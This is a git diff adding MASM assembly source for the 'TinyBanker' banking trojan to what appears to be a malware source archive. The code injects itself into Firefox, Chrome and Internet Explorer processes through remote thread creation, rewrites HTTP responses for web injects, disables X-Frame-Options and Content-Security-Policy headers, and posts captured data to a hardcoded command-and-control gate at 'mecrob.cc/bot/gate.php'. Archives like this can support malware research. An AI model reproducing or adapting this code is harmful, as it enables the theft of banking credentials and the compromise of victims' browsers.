+ cmp eax, p_entry.th32ProcessID + jz @next + + +;; ================================================== ;; + invokx _lstrcmpiA[ebx], &p_entry.szExeFile, "firefox.exe" + jmpz eax, @F + invokx _lstrcmpiA[ebx], &p_entry.szExeFile, "chrome.exe" + jmpz eax, @F + invokx _lstrcmpiA[ebx], &p_entry.szExeFile, "iexplore.exe" + jmpnz eax, @next +@@: +;; ================================================== ;; + + ;; Get process handle + invokx _OpenProcess[ebx], PROCESS_ALL_ACCESS, 0, p_entry.th32ProcessID + jmpz eax, @next + + + ;; Pass handle into InjAndRun procedure + invokx &InjectCode[ebx], eax + jmp @next + + +@nomore: + ;; Dedstroy handle + invokx _CloseHandle[ebx], hSnapshot + + +@ret: + ret +EnumProcs endp + + + +;; ==================================================================================================== ;; +;; InjectCode - procedure injects current code in remote process and starts it ;; +;; __in hProcess - process handle ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +InjectCode proc hProcess : dword + local lpRemoteCode : dword + + + + ;; Alocate memory in remote process + invokx _VirtualAllocEx[ebx], hProcess, 0, @CODE_END-@CODE_START, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE + jmpz eax, @ret + mov lpRemoteCode, eax + + + ;; Copy code in remote process + lea eax, [ebx+@CODE_START] ;; lpBuffer + invokx _WriteProcessMemory[ebx], hProcess, lpRemoteCode, eax, @CODE_END-@CODE_START, 0 + jmpnz eax, @F + + + ;; Release memory in remote process + invokx _VirtualFreeEx[ebx], hProcess, lpRemoteCode, 0, MEM_RELEASE + xor eax, eax + jmp @ret + + + ;; Start remote code +@@: add lpRemoteCode, INJECTED_START-@CODE_START + invokx _CreateRemoteThread[ebx], hProcess, 0, 0, lpRemoteCode, 0, 0, 0 + + +@ret: + ret +InjectCode endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Install/Install.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Install/Install.inc new file mode 100644 index 0000000..ddf35cc --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Install/Install.inc @@ -0,0 +1,72 @@ + +.code + +;; ==================================================================================================== ;; +;; RegReadValue - ;; +;; ==================================================================================================== ;; +RegReadValue proc hKey, lpszRegPath, lpszValue, lpBuf, lpBufLen: DWORD + local hkHandle : dword + local DataType : dword + + + invoke RegOpenKeyEx, hKey, lpszRegPath, NULL, KEY_QUERY_VALUE, addr hkHandle + jmpnz eax, @ret + + invoke RegQueryValueEx, hkHandle, lpszValue, NULL, addr DataType, lpBuf, lpBufLen + jmpnz eax, @ret + + invoke RegCloseKey, hkHandle + +@ret: + ret +RegReadValue endp + + + + + + + + +;; ==================================================================================================== ;; +;; Install - ;; +;; ==================================================================================================== ;; +Install proc + local szRegDst[MAX_PATH] : byte + local szDst[MAX_PATH] : byte + local BufLen : dword + + + + invokx lstrcpy, &szRegDst, "Software" + invokx lstrcat, &szRegDst, "\ABCDEFGH" + invoke MessageBox, 0, addr szRegDst, 0, MB_OK + mov BufLen, MAX_PATH + invokx &RegReadValue, HKEY_CURRENT_USER, &szRegDst, "Path", &szDst, &BufLen + jmpnz eax, @F + invoke MessageBox, 0, addr szDst, 0, MB_OK +@@: + +; invoke GetModuleFileName, 0, addr szDst, MAX_PATH +; invoke MessageBox, 0, addr szDst, 0, MB_OK + + +; invokx ExpandEnvironmentStrings, "%AppData%", &szDst, MAX_PATH +; invokx lstrcat, &szDst, "\ABCDEFGH" +; invoke CreateDirectory, addr szDst, 0 +; invoke MessageBox, 0, addr szDst, 0, MB_OK +@ret: + ret +Install endp + + + + + + + + + + + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/InLog.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/InLog.inc new file mode 100644 index 0000000..4a9d72c --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/InLog.inc @@ -0,0 +1,38 @@ + +.code + +;; ==================================================================================================== ;; +;; InLog - ;; +;; __in lpData - data ptr ;; +;; __in dwLen - data len ;; +;; __in dwType - data type ;; +;; ==================================================================================================== ;; +InLog proc lpData, dwLen, dwType : dword + + pushad + + invokx _VirtualAlloc[ebx], 0, BUFFERLEN, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + jmpz eax, @ret + mov edi, eax + xchg eax, lpData + mov esi, eax + + + mov eax, dwLen + add eax, 8 + stosd ;; all len + mov eax, dwType + stosd ;; type + mov eax, dwLen + stosd ;; len + invokx &strcpyn[ebx], edi, esi, dwLen + invokx &Crypt[ebx], edi, dwLen + + + invokx _CreateThread[ebx], 0, 0, &Notify[ebx], lpData, 0, 0 + +@ret: + popad + ret +InLog endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/Notify.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/Notify.inc new file mode 100644 index 0000000..c8844fd --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Logs/Notify.inc @@ -0,0 +1,99 @@ + +.code + +;; ==================================================================================================== ;; +;; Notify - ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +Notify proc lpData : dword + local lpContents : dword + local dwContentsLen : dword + local clntSrvc : sockaddr_in + local hSocket : dword + local ReqBuff[320] : byte + + + + GetBaseDelta ebx + + + mov esi, lpData + lodsd ;; data len + mov lpContents, esi + mov dwContentsLen, eax + + + ;; Convert if IP + invokx _inet_addr[ebx], &szHostName[ebx] + jmpns eax, @F + + ;; Resolve if host + invokx _gethostbyname[ebx], &szHostName[ebx] + jmpz eax, @err + ;; inet_addr + mov eax, [eax+0Ch] + mov eax, [eax] + mov eax, [eax] + + +@@: mov clntSrvc.sin_addr, eax + mov clntSrvc.sin_port, 5000h + mov clntSrvc.sin_family, AF_INET + mov clntSrvc.sin_zero, 0 + mov clntSrvc.sin_zero+4, 0 + + + invokx _socket[ebx], AF_INET, SOCK_STREAM, 0 + jmps eax, @err + mov hSocket, eax + + + invokx _connect[ebx], hSocket, &clntSrvc, sizeof clntSrvc + jmpnz eax, @err + + + invokx &strcpyn[ebx], &ReqBuff, "POST ", 5 + invokx &strcpyn[ebx], eax, &sResource[ebx], sizeof sResource + invokx &strcpyn[ebx], eax, " HTTP/1.1\r\nHost: ", 17 + invokx &strcpyn[ebx], eax, &szHostName[ebx], sizeof szHostName-1 + invokx &strcpyn[ebx], eax, "\r\nContent-Length: ", 18 + invokx &dwtoa[ebx], dwContentsLen, eax + mov edi, eax + mov eax, 0A0D0A0Dh + stosd + lea eax, ReqBuff + sub edi, eax + + + invokx _send[ebx], hSocket, &ReqBuff, edi, 0 + jmps eax, @err + + + invokx _send[ebx], hSocket, lpContents, dwContentsLen, 0 + jmps eax, @err + + + invokx _recv[ebx], hSocket, &ReqBuff, 320, 0 + jmps eax, @err + + + invokx _closesocket[ebx], hSocket + + + invokx _VirtualFree[ebx], lpData, 0, MEM_RELEASE + + +@err: + xor eax, eax + ret +Notify endp + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + +; sSupplier db "loadscc" +; sBotNET db "default" + sPassword db "default_password" + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIMaskMatch.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIMaskMatch.inc new file mode 100644 index 0000000..4e02f92 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIMaskMatch.inc @@ -0,0 +1,153 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIMaskMatch - compare string with mask ;; +;; - "#" - any 1 digit, ;; +;; - "?" - any 1 symbol, ;; +;; - "*" - any group of symbols or no symbols at all ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpStrMask - pointer to mask ;; +;; __in nStrMaskLen - len of mask ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +StrIMaskMatch proc uses ecx ebx edx esi edi lpString, nStringLen, lpStrMask, nStrMaskLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nStrMaskLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString + mov ebx, nStringLen + add ebx, esi + dec ebx ;; lpSrting last symbol ptr + + mov edi, lpStrMask + mov ecx, nStrMaskLen + add ecx, edi + dec ecx ;; lpStrMask last symbol ptr + + xor edx, edx ;; Group start ptr + + jmp @F ;; Start compare + + +@next: + cmp ebx, esi + je @finish ;; If last symbol in lpSrting + cmp ecx, edi + je @finish ;; If last symbol in lpStrMask + + inc esi + inc edi + + + ;; Compare +@@: mov al, [edi] ;; Symbol from mask + + +;; ================================================== ;; + ;; Any single symbol (just skip it) + cmp al, "?" + je @next + + +;; ================================================== ;; + ;; Any single digit or actual # symbol + cmp al, "#" + jne @F + + cmp al, [esi] + je @next + + mov al, [esi] + + cmp al, "0" + jb @notmatch + cmp al, "9" + ja @notmatch + + jmp @next + + +;; ================================================== ;; + ;; Any group of symbols +@@: cmp al, "*" + jne @F + + cmp ecx, edi + je @ret ;; if end of lpStrMask + + mov edx, edi ;; save start of group + dec esi + jmp @next + + + ;; Case insensitive symbol compare +@@: cmp al, [esi] + je @next + + cmp al, "z" + ja @notmatch + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [esi] + je @next + jmp @notmatch + +@cmpupper: + cmp al, "Z" + ja @notmatch + cmp al, "A" + jb @notmatch + + add al, 32 + cmp al, [esi] + je @next + + + ;; Symbol not match, check if group state +@notmatch: + test edx, edx + jz @finish + + add esi, edx + sub esi, edi + inc esi + + mov edi, edx + jmp @next + + +;; ================================================== ;; + ;; Finish +@finish: + xor eax, eax + cmp ebx, esi + jne @ret ;; if not end of lpSrting + + + mov al, "*" +@@: cmp ecx, edi + je @ret ;; if end of lpStrMask + + ;; Last * in lpStrMask + inc edi + cmp al, [edi] + je @B + xor eax, eax + + +@ret: + ret +StrIMaskMatch endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPos.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPos.inc new file mode 100644 index 0000000..34f0892 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPos.inc @@ -0,0 +1,83 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIPos - case insensitive search first entry of char in string ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpSubString - pointer to substring ;; +;; __in nSubStrLen - len of substring ;; +;; Return: 0 - failed ;; +;; !0 - success, pointer to start of founded substring ;; +;; ==================================================================================================== ;; +StrIPos proc uses ebx ecx edx edi esi lpString, nStringLen, lpSubString, nSubStrLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nSubStrLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString ;; esi = first symbol pointer + dec esi + mov ebx, nStringLen + add ebx, esi ;; ebx = last symbol pointer + + +@nextcycle: + xor eax, eax + cmp esi, ebx ;; check if last symbol in string + je @ret + + inc esi ;; next symbol ptr search from + mov ecx, esi ;; copy symbol ptr search from, for use in compare + + mov edi, lpSubString ;; init substring var + mov edx, nSubStrLen ;; init substring var + + + ;; Case insensitive symbol compare +@nextchar: + mov al, [ecx] + cmp al, [edi] + je @charmatch + + cmp al, "z" + ja @nextcycle + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [edi] + je @charmatch + jmp @nextcycle + +@cmpupper: + cmp al, "Z" + ja @nextcycle + cmp al, "A" + jb @nextcycle + + add al, 32 + cmp al, [edi] + jne @nextcycle + + +@charmatch: + inc ecx ;; next symbol in string + inc edi ;; next symbol in substring + dec edx ;; substring len + jnz @nextchar + + + ;; Substring found + mov eax, esi + + +@ret: + ret +StrIPos endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPosEx.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPosEx.inc new file mode 100644 index 0000000..747cc11 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/StrIPosEx.inc @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; StrIPosEx - case insensitive search first entry of substring in string ;; +;; - whitespaces insensitive ;; +;; - <'> equals <"> ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; __in lpSubString - pointer to substring ;; +;; __in nSubStrLen - len of substring ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to start of founded substring ;; +;; ecx - pointer to end of founded substring ;; +;; ==================================================================================================== ;; +StrIPosEx proc uses ebx edx edi esi lpString, nStringLen, lpSubString, nSubStrLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + cmp nSubStrLen, eax + jle @ret + + + ;; Init string vars + mov esi, lpString ;; esi = first symbol pointer + dec esi + mov ebx, nStringLen + add ebx, esi ;; ebx = last symbol pointer + + +@nextcycle: + xor eax, eax + cmp esi, ebx ;; check if last symbol in string + je @ret + + inc esi ;; next symbol ptr search from + mov ecx, esi ;; copy symbol ptr search from, for use in compare + + mov edi, lpSubString ;; init substring var + mov edx, nSubStrLen ;; init substring var + + + ;; Case insensitive symbol compare +@nextchar: + mov al, [ecx] + cmp al, [edi] + je @charmatch + + cmp al, "z" + ja @nextcycle + cmp al, "a" + jb @cmpupper + + sub al, 32 + cmp al, [edi] + je @charmatch + jmp @nextcycle + +@cmpupper: + cmp al, "Z" + ja @nextcycle + cmp al, "A" + jb @nextcycle + + add al, 32 + cmp al, [edi] + jne @nextcycle + + +@charmatch: + inc ecx ;; next symbol in string + inc edi ;; next symbol in substring + dec edx ;; substring len + jnz @nextchar + + + ;; Substring found + mov eax, esi + + +@ret: + ret +StrIPosEx endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/atodw.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/atodw.inc new file mode 100644 index 0000000..735a3d3 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/atodw.inc @@ -0,0 +1,33 @@ + +.code + +;; ==================================================================================================== ;; +;; atodw - convert decimal string into dword value ;; +;; __in lpString - pointer to string ;; +;; Return: eax - dword value ;; +;; ecx - ;; +;; ==================================================================================================== ;; +atodw proc uses edx lpString : dword + + xor eax, eax + xor edx, edx + mov ecx, lpString + + +@@: mov dl, [ecx] + cmp dl, "0" + jb @ret + cmp dl, "9" + ja @ret + inc ecx + + sub dl, "0" + lea eax, [eax+4*eax] + lea eax, [edx+2*eax] + jmp @B + + +@ret: + ret +atodw endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoa.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoa.inc new file mode 100644 index 0000000..1ccd74e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoa.inc @@ -0,0 +1,33 @@ + +.code + +;; ==================================================================================================== ;; +;; dwtoa - convert dword value into string ;; +;; __in dwValue - value to convert ;; +;; __in lpBuffer - pointer to buffer ;; +;; Return: eax - pointer to end of buff ;; +;; ==================================================================================================== ;; +dwtoa proc uses ebx ecx edx edi dwValue, lpBuffer : dword + + mov eax, dwValue + mov edi, lpBuffer + xor ecx, ecx + mov ebx, 10 + +@@: xor edx, edx + div ebx + push edx + inc ecx + test eax, eax + jnz @B + +@@: pop eax + add eax, "0" + stosb + dec ecx + jnz @B + + mov eax, edi + ret +dwtoa endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoh.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoh.inc new file mode 100644 index 0000000..6ecc921 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/dwtoh.inc @@ -0,0 +1,43 @@ + +.code + +;; ==================================================================================================== ;; +;; dwtoah - convert dword value into hex string ;; +;; __in dwValue - value to convert ;; +;; __in lpBuffer - pointer to buffer ;; +;; Return: eax - pointer to end of buff ;; +;; ==================================================================================================== ;; +dwtoh proc uses ecx edx edi dwValue, lpBuffer : dword + + mov edi, lpBuffer + mov al, "0" + stosb + mov edx, dwValue + test edx, edx + jz @ret + + dec edi + mov ecx, 9 +@next: + dec ecx + jz @ret + rol edx, 4 + mov al, dl + and al, 00001111b + jnz @F + cmp edi, lpBuffer + je @next +@@: and dl, 11110000b + .if al < 0Ah + add al, 30h ; convert digits 0-9 to ascii + .else + add al, 57h ; convert digits A-F to ascii + .endif + stosb + jmp @next + +@ret: + mov eax, edi + ret +dwtoh endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/htodw.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/htodw.inc new file mode 100644 index 0000000..a7be61e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/htodw.inc @@ -0,0 +1,51 @@ + +.code + +;; ==================================================================================================== ;; +;; htodw - convert hex string into dword value ;; +;; __in lpString - pointer to string ;; +;; Return: eax - dword value ;; +;; ecx - ptr to after ;; +;; ==================================================================================================== ;; +htodw proc uses edx lpString : dword + + xor eax, eax + xor edx, edx + mov ecx, lpString + + +@next: + mov dl, [ecx] + + cmp dl, "0" + jb @ret + cmp dl, "9" + jg @F + sub dl, "0" + jmp @add + +@@: cmp dl, "F" + ja @F + cmp dl, "A" + jb @ret + sub dl, "A"-10 + jmp @add + +@@: cmp dl, "f" + ja @ret + cmp dl, "a" + jb @ret + sub dl, "a"-10 + + +@add: + shl eax, 4 + add eax, edx + inc ecx + jmp @next + + +@ret: + ret +htodw endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/ltrim.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/ltrim.inc new file mode 100644 index 0000000..bdefbc9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/ltrim.inc @@ -0,0 +1,50 @@ + +.code + +;; ==================================================================================================== ;; +;; ltrim - strip whitespace from the beginning of a string ;; +;; __in lpString - pointer to string ;; +;; __in nStringLen - len of string ;; +;; Return: 0 - failed ;; +;; !0 - success, pointer to ltrimed string ;; +;; ecx - len of ltrimed string ;; +;; ==================================================================================================== ;; +ltrim proc uses edx lpString, nStringLen : dword + + ;; Check strings len + xor eax, eax + cmp nStringLen, eax + jle @ret + + + mov eax, lpString + mov ecx, nStringLen + jmp @F + + +@nextchar: + inc eax + dec ecx + jz @ret + + +@@: mov dl, [eax] + + cmp dl, 32 ; " " (ASCII 32 (0x20)), an ordinary space. + je @nextchar + cmp dl, 9 ; "\t" (ASCII 9 (0x09)), a tab. + je @nextchar + cmp dl, 10 ; "\n" (ASCII 10 (0x0A)), a new line (line feed). + je @nextchar + cmp dl, 13 ; "\r" (ASCII 13 (0x0D)), a carriage return. + je @nextchar + cmp dl, 0 ; "\0" (ASCII 0 (0x00)), the NUL-byte. + je @nextchar + cmp dl, 11 ; "\x0B" (ASCII 11 (0x0B)), a vertical tab. + je @nextchar + + +@ret: + ret +ltrim endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/strcpyn.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/strcpyn.inc new file mode 100644 index 0000000..37dadcc --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Strings/strcpyn.inc @@ -0,0 +1,32 @@ + +.code + +;; ==================================================================================================== ;; +;; strcpyn - ;; +;; __in lpDestString - ;; +;; __in lpSrcString - ;; +;; __in nLength - ;; +;; Return: eax - ;; +;; ==================================================================================================== ;; +strcpyn proc uses ecx edi esi lpDestString, lpSrcString, nLength : dword + + mov edi, lpDestString + mov esi, lpSrcString + mov ecx, nLength + + cmp edi, esi + jbe @F ;; if dest below source + lea eax, [esi+ecx] + cmp eax, edi + jbe @F ;; if last source below dest + add edi, ecx + add esi, ecx + inc ecx + std +@@: rep movsb + cld + + mov eax, edi + ret +strcpyn endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/Compare.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/Compare.inc new file mode 100644 index 0000000..3cb5a3e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/Compare.inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/CheckEOF.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/CheckEOF.inc new file mode 100644 index 0000000..e2dd905 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/CheckEOF.inc @@ -0,0 +1,67 @@ + +.code + +;; ==================================================================================================== ;; +;; CheckEOF - check if there is end of file already ;; +;; __in lpData - data ptr with its len in first dword ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +CheckEOF proc uses ecx edi esi lpData : dword + + mov esi, lpData + mov ecx, [esi] ;; data len + add esi, 4 ;; data begin ptr + lea edi, [ecx+esi] ;; data end ptr + + +;; ================================================== ;; + invokx &StrIPos[ebx], esi, ecx, "\r\nContent-Length: ", 18 + jmpz eax, @chunked + + + add eax, 18 + invokx &atodw[ebx], eax + mov ecx, eax ;; content len + + + mov eax, edi + sub eax, esi + invokx &StrIPos[ebx], esi, eax, "\r\n\r\n", 4 + jmpz eax, @ret + + + lea eax, [eax+ecx+4] + cmp eax, edi + je @ret ;; end + + + xor eax, eax + jmp @ret ;; not end + + +;; ================================================== ;; +@chunked: + invokx &StrIPos[ebx], esi, ecx, "\r\nTransfer-Encoding:", 20 + jmpz eax, @nolen + + + sub edi, 7 + invokx &StrIPos[ebx], edi, 7, "\r\n0\r\n\r\n", 7 + + + jmp @ret + + +;; ================================================== ;; +@nolen: + cmp dword ptr [edi-4], 0A0D0A0Dh + jne @ret + + inc eax + + +@ret: + ret +CheckEOF endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FFWebInject.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FFWebInject.inc new file mode 100644 index 0000000..1be191c --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FFWebInject.inc @@ -0,0 +1,59 @@ + +.code + +;; ==================================================================================================== ;; +;; FFWebInject - ;; +;; ;; +;; ==================================================================================================== ;; +FFWebInject proc dwHandle, lpData : dword + + pushad + mov esi, lpData + mov ecx, [esi] ;; data len + add esi, 4 ;; data begin ptr + lea edi, [ecx+esi] ;; data end ptr + + + invokx &StrIPos[ebx], esi, ecx, "\r\n\r\n", 4 + mov edx, eax ;; ptr to content start + + + sub eax, esi ;; headers len + invokx &StrIPos[ebx], esi, eax, "\r\nTransfer-Encoding:", 20 + jmpz eax, @F + + + lea eax, [edx+4] + invokx &StrIPos[ebx], eax, 10, "\r\n", 2 + jmpz eax, @ret + + lea edx, [eax-2] ;; ptr to content start + sub edi, 7 ;; ptr to content end + + +@@: mov ecx, [edx] ;; save dword + lea eax, [edi-4] + sub eax, edx ;; content len + mov [edx], eax ;; put new len + + + invokx &WebInject[ebx], dwHandle, edx + + + xchg ecx, [edx] ;; restore saved dword + lea edi, [edx+ecx+4] ;; pointer to end of data + cmp dword ptr [edx], 0A0D0A0Dh + je @F + invokx &strcpyn[ebx], edi, "\r\n0\r\n\r\n", 7 + add edi, 7 + + +@@: sub edi, esi + mov [esi-4], edi + + +@ret: + popad + ret +FFWebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixChunk.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixChunk.inc new file mode 100644 index 0000000..e9c6b0b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixChunk.inc @@ -0,0 +1,53 @@ + +.code + +;; ==================================================================================================== ;; +;; FixChunk - creates solid chunk from many chunks ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +FixChunk proc lpData : dword + + pushad + mov esi, lpData + lodsd ;; data len + lea edx, [eax+esi] ;; data end ptr + + + invokx &StrIPos[ebx], esi, eax, "\r\n\r\n", 4 + lea ecx, [eax+4] ;; ptr to first chunk len + + + sub eax, esi ;; headers len + invokx &StrIPos[ebx], esi, eax, "\r\nTransfer-Encoding:", 20 + jmpz eax, @ret + + + invokx &htodw[ebx], ecx + lea edi, [ecx+2] ;; ptr to first chunk start + + +@nextchunk: + lea edi, [edi+eax+2] ;; ptr to next chunk len + invokx &htodw[ebx], edi + jmpz eax, @F + sub edi, 2 ;; \r\n + lea esi, [ecx+2] ;; ptr to next chunk start + mov ecx, edx + sub ecx, esi ;; len left + mov edx, edi ;; save ptr + rep movsb + xchg edx, edi ;; restore ptr + jmp @nextchunk + + +@@: mov eax, lpData + sub edx, eax + sub edx, 4 + mov [eax], edx ;; set new len + + +@ret: + popad + ret +FixChunk endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixHeaders.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixHeaders.inc new file mode 100644 index 0000000..ed719e9 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixHeaders.inc @@ -0,0 +1,34 @@ + +.code + +;; ==================================================================================================== ;; +;; FixHeaders - ;; +;; __in lpData - data ptr ;; +;; __in dwLen - data len ;; +;; ==================================================================================================== ;; +FixHeaders proc lpData, dwLen : dword + + invokx &StrIPos[ebx], lpData, dwLen, "HTTP", 4 + jmpz eax, @ret + + + invokx &StrIPos[ebx], lpData, dwLen, "\r\n\r\n", 4 + jmpz eax, @F + sub eax, lpData + mov dwLen, eax + + +@@: invokx &StrIPos[ebx], lpData, dwLen, "\r\nX-Frame-Options: ", 19 + jmpz eax, @ret + mov dword ptr [eax+2], "g-yM" + + + invokx &StrIPos[ebx], lpData, dwLen, "\r\nX-Content-Security-Policy: ", 29 + jmpz eax, @ret + mov dword ptr [eax+2], "illI" + + +@ret: + ret +FixHeaders endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixLen.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixLen.inc new file mode 100644 index 0000000..8f148b8 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/FF/FixLen.inc @@ -0,0 +1,100 @@ + +.code + +;; ==================================================================================================== ;; +;; FixLen - fixes len of contents ;; +;; __in lpData - data ptr with its len in first dword ;; +;; ==================================================================================================== ;; +FixLen proc lpData : dword + local lpEnd : dword + + + + pushad + mov esi, lpData + lodsd ;; data len + lea edi, [eax+esi] ;; data end ptr + mov lpEnd, edi + + + invokx &StrIPos[ebx], esi, eax, "\r\n\r\n", 4 + lea edi, [eax+4] ;; content start + + + mov ecx, edi + sub ecx, esi ;; headers len + +;; ================================================== ;; + invokx &StrIPos[ebx], esi, ecx, "\r\nContent-Length: ", 18 + jmpz eax, @chunked + + + lea esi, [eax+18] + invokx &StrIPos[ebx], esi, 12, "\r\n", 2 + jmpz eax, @ret + + + ;; shift data + lea edx, [eax+10] ;; new ptr + mov ecx, lpEnd + sub ecx, eax ;; data len to shift + invokx &strcpyn[ebx], edx, eax, ecx + + + mov eax, lpEnd + sub eax, edi ;; content len + invokx &dwtoa[ebx], eax, esi ;; put new len in data + + + ;; shift data back + invokx &strcpyn[ebx], eax, edx, ecx + + + mov esi, lpData + sub eax, esi + sub eax, 4 + mov [esi], eax ;; new data len + + + jmp @ret + + +;; ================================================== ;; +@chunked: + invokx &StrIPos[ebx], esi, ecx, "\r\nTransfer-Encoding:", 20 + jmpz eax, @ret + + + invokx &StrIPos[ebx], edi, 10, "\r\n", 2 + jmpz eax, @ret + + + mov ecx, lpEnd + sub ecx, eax ;; "\r\n" + "content" + "\r\n0\r\n\r\n" + + + ;; shift data + lea edx, [eax+8] ;; new ptr + invokx &strcpyn[ebx], edx, eax, ecx + + + sub ecx, 9 ;; content len + invokx &dwtoh[ebx], ecx, edi ;; new len in data + + + ;; shift data back + add ecx, 9 ;; "\r\n" + "content" + "\r\n0\r\n\r\n" + invokx &strcpyn[ebx], eax, edx, ecx + + + mov esi, lpData + sub eax, esi + sub eax, 4 + mov [esi], eax ;; new data len + + +@ret: + popad + ret 